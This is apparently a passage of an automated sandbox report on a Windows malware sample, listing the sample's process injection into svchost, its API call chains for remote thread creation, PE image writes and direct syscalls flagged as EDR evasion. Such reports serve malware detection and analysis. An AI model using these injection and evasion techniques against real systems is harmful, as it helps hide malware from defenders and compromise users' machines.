    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C60000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D10000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D70000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2470000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2160000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3120000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2060000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29B0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29F0000 protect: page execute and read and writeJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2780000 protect: page execute and read and writeJump to behavior
    Contains functionality to inject threads in other processes
    Source: C:\Users\user\Desktop\1fWgBXPgiT.exeCode function: 0_2_00401670 IsUserAnAdmin,Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,WriteProcessMemory,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,0_2_00401670
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 5_2_02714CC0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,5_2_02714CC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 6_2_00B34CC0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,6_2_00B34CC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 9_2_026C4CC0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,9_2_026C4CC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 13_2_022E4CC0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,13_2_022E4CC0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: 16_2_010C4CC0 Sleep,Sleep,OpenProcess,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,VirtualAlloc,memcpy,WriteProcessMemory,VirtualFree,FlushInstructionCache,CreateRemoteThread,GetHandleInformation,CloseHandle,RtlCreateUserThread,GetHandleInformation,CloseHandle,16_2_010C4CC0
    Creates a thread in another existing process (thread injection)
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: C11360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: AB1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 23F1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 2261360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 1041360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 2571360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: DE1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 11A1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 24E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 1411360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 2FC1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 2831360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 22D1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 26D1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 3081360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe EIP: 2581360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 931360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C01360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2921360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 23C1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 9E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F11360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2371360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2EF1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2521360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 22C1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1FC1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2111360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2271360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 28B1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 24E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2971360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 26E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2F81360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 661360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 6F1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 751360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2CB1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2D11360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3151360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2381360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 28E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 15A1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1071360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2751360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: DD1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 30C1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 8C1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 981360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1481360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: EB1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2EB1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2891360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2151360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29E1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2A51360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2A51360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 971360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2131360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 791360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2131360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2CA1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2571360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E41360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1FB1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 25D1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E71360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2CE1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: C01360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2E61360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 28B1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29C1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 21F1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 1421360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2791360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2EE1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 26D1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2C61360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2D11360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2D71360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2471360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 23D1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2161360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 3121360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2061360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29B1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 29F1360Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeThread created: unknown EIP: 2781360Jump to behavior
    Found direct / indirect Syscall (likely to bypass EDR)
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtAllocateVirtualMemory: Direct from: 0x76F03C9C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtClose: Direct from: 0x76F02B6C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtAllocateVirtualMemory: Direct from: 0x76F02C6C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetInformationThread: Direct from: 0x76F02B4C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueryAttributesFile: Direct from: 0x76F02E6C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQuerySystemInformation: Direct from: 0x76F048CC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueryVolumeInformationFile: Direct from: 0x76F02F2C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetInformationFile: Direct from: 0x76F02D0C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtOpenSection: Direct from: 0x76F02E0C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetInformationThread: Direct from: 0x76EF63F9
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtDeviceIoControlFile: Direct from: 0x76F02AEC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueryValueKey: Direct from: 0x76F02BEC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueueApcThread: Direct from: 0x76F02EEC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtCreateFile: Direct from: 0x76F02FEC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtOpenFile: Direct from: 0x76F02DCC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtEnumerateValueKey: Direct from: 0x76F02BAC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetInformationThread: Direct from: 0x76F02ECC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueryInformationToken: Direct from: 0x76F02CAC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetTimerEx: Direct from: 0x76EF7B2E
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtTerminateThread: Direct from: 0x76F02FCC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtAdjustPrivilegesToken: Direct from: 0x76F02EAC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtAllocateVirtualMemory: Direct from: 0x76F02B9C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtProtectVirtualMemory: Direct from: 0x76F02F9C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtSetInformationProcess: Direct from: 0x76F02C5C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtNotifyChangeKey: Direct from: 0x76F03C2C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtUnmapViewOfSection: Direct from: 0x76F02D3C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtCreateMutant: Direct from: 0x76F035CC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtMapViewOfSection: Direct from: 0x76F02D1C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtResumeThread: Direct from: 0x76F036AC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQuerySystemInformation: Direct from: 0x1C
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtWriteFile: Direct from: 0x76F02AFCJump to behavior
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtAllocateVirtualMemory: Direct from: 0x76F02BFC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQuerySystemInformation: Direct from: 0x76F02DFC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtDelayExecution: Direct from: 0x76F02DDC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtEnumerateKey: Direct from: 0x76F02DBC
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeNtQueryInformationProcess: Direct from: 0x76F02C26
    Injects a PE file into a foreign processes
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C12000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: AB2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23F2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2262000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1042000 value starts with: 4D5AJump to behavior
